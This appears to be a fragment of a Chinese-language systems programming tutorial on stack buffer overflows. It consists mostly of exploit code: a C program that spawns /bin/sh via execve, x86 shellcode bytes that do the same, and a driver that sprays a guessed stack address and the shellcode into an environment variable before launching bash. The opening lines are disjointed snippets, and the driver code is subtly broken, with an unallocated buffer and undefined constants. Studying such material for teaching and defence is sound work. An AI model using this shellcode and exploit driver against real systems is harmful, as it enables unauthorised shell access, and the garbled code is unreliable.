C/C++、操作系统(内存管理)、硬件体系结构
1 | or eax,eax //if (eax<0) |
1 | 0x8048430 <triangle>: push %ebp |
1 | int triangle (int width, in height){ |
获取shellcode 代码
1
2
3
4
5
6
7
8// shell.c
int main(){
char *name[2];
name[0] = “/bin/sh”;
name[1] = 0x0;
execve(name[0], name, 0x0);
exit(0);
}测试地址代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
char sc[] =
“\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46”
“\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1”
“\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68”;
unsigned long find_start(void) {
__asm__(“movl %esp,%eax”);
}
int main(int argc, char *argv[])
{
char *buff, *ptr;
long *addr_ptr, addr;
int offset=offset_size, bsize=buffer_size;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
addr = find_start() - offset;
printf(“Attempting address: 0x%x\n”, addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(sc); i++)
*(ptr++) = sc[i];
buff[bsize - 1] = ‘\0’;
memcpy(buff,”BUF=”,4);
putenv(buff);
system(“/bin/bash”);
}